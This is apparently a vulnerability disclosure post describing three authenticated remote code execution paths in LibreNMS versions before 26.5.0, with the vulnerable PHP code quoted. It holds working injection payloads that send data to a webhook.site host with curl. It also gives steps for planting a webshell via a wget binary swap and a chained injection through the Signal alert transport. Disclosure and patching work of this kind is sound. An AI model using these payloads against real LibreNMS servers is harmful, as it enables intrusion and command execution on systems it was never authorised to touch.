LibreNMS Authenticated RCE (< 26.5.0)

When there's one, there's normally more. This is a part 2 to our previous post on LibreNMS.

LibreNMS Authenticated RCE (< 26.5.0)

Previous post:

LibreNMS < 26.3.0 Authenticated RCE & XSS
By searching for unsafe patterns and function calls, we discovered authenticated XSS and RCE vulnerabilities in LibreNMS.

RCE By Command-Line Injection (< 26.4.1)

This vulnerability allows an admin user to inject commands that are passed to the exec function, which will then be executed as the user running the poller. The poller is usually configured as a cron job (see https://docs.librenms.org/Installation/Install-LibreNMS/#cron-job), meaning the injected command would be executed by the librenms user.

Whenever the exec function is used, all user input must be sanitised before being passed to the command. If this sanitisation is missing or improper, a command-line injection vulnerability is introduced.

We found an exec call in LibreNMS/OS/Traits/VminfoLibvirt.php that passes user input from the WebUI directly into the executed command without sanitisation.

if (Str::contains($method, 'ssh') && ! $ssh_ok) {
    ...
    exec('ssh -o "StrictHostKeyChecking no" -o "PreferredAuthentications publickey" -o "IdentitiesOnly yes" ' . $userHostname . ' echo -e', $out, $ret);
    ...
}

if ($ssh_ok || ! Str::contains($method, 'ssh')) {
    ...
    exec(LibrenmsConfig::get('virsh') . ' -rc ' . $uri . ' list', $domlist);
    ...
    exec(LibrenmsConfig::get('virsh') . ' -rc ' . $uri . ' dumpxml ' . $dom_id, $vm_info_array);
    ...
    exec(LibrenmsConfig::get('virsh') . ' -rc ' . $uri . ' domstate ' . $dom_id, $vm_state);
    ...
}

After setting up a webhook listener on https://webhook.site/ and enabling the Libvirt Discovery Module, we can place a curl command into the affected fields, which include the Libvirt Username and Libvirt Protocols fields (example: ; curl -X POST -d "$(whoami)" https://webhook.site/<webhook_id>;).

This command will be executed whenever a poller runs a discovery job which can be triggered by a cron job (/opt/librenms/cronic /opt/librenms/discovery-wrapper.py 1), or by manually running a discovery module (lnms poller:discovery <any hostname>).

(Alternative) RCE by Arbitrary Write (Internal Network Only)

Additionally, the binary path used for virsh can be modified. Suppose the server is running on an internal network and the attacker is able to host a network device with the hostname html. We can create a device named html and use wget to download malicious php files into the html/ directory.

Modify the binary location of virsh to /usr/bin/wget under Settings -> External -> Binary Locations.

Create a device named html, set its OS to Linux, and start an HTTP server on that device serving a webshell malicious.php.

Navigate to Settings -> External -> Binary Locations and change Path to virsh to /usr/bin/wget.

Navigate to Settings -> Discovery -> Virtualization Module and change the protocols to http.

Wait for the discovery cron job to be executed, or run discovery command manually.

The webshell can be accessed at http://<librenms host>/malicious.php.

RCE by Bypassing escapeshellarg (< 26.5.0)

This vulnerability allows an admin user to inject commands that are passed to the exec function, which will be executed as the user running LibreNMS (e.g. librenms).

We also discovered an exec call using escapeshellarg in LibreNMS/Alert/Transport/Signal.php. On its own, this is not directly vulnerable to command-line injection, but the ability to change the binary path of the signal-cli executable makes it possible to chain another executable to achieve RCE.

public function deliverAlert(array $alert_data): bool
{
    exec(escapeshellarg((string) $this->config['path'])
       . ' --dbus-system send'
       . (($this->config['recipient-type'] == 'group') ? ' -g ' : ' ')
       . escapeshellarg((string) $this->config['recipient'])
       . ' -m ' . escapeshellarg((string) $alert_data['title']));

    return true;
}
Executable Path can be specified

Since escapeshellarg was used, there is no direct command injection vulnerability here. However, we can look for another executable that can:

  1. Accept or ignore --dbus-system send and -m <title>.
  2. Execute commands from its supplied arguments.

We found that in scripts/composer_wrapper.php, the arguments are placed into $extra_args, which is then concatenated directly into a composer command executed via passthru, making it vulnerable to command-line injection. This script is also set as executable in LibreNMS's Git repository.

if ($exec) {
    passthru("$exec " . implode(' ', array_splice($argv, 1)) . "$extra_args 2>&1", $exit_code);
    exit($exit_code);
} else {
    echo "Composer not available, please manually install composer.\n";
    exit(1);
}

We can confirm this finding by setting up a webhook listener on https://webhook.site/ and executing ./scripts/composer_wrapper.php --dbus-system send ";curl http://webhook.site/<UUID>/signalalert;" -m "title" in a bash shell.

By chaining these two findings, we can achieve RCE on the server. :

  1. Navigate to Dashboard -> Alert -> Alert Transport.
  2. Creating a transport of type Signal.
    1. Path: ../scripts/composer_wrapper.php
    2. Recipient: ;curl http://webhook.site/<UUID>/signalalert;
  3. Click Test transport and the curl command will be executed.